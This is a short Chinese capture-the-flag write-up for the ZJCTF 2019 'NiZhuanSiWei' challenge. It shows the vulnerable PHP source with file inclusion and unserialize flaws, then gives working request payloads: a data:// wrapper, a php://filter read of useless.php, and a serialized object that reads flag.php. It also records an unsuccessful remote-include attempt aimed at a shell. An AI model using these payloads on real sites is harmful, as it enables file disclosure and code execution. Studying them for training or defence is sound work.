ZJCTF2019

buu

[ZJCTF 2019]NiZhuanSiWei

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<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

挺容易看出来的就不说了

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?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
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<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

但是有个疑问为什么一定要file=useless.php才可以呢,没事多试试就行

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?text=data://text/plain,welcome to the zjctf&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D&file=useless.php

但是这个include让我觉得没有必要写序列化代码了,我远程包含不就getshell了嘛

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?text=data://text/plain,welcome to the zjctf&file=http://baidu.com

测试了一下不行欸,giao

所以就只能放弃了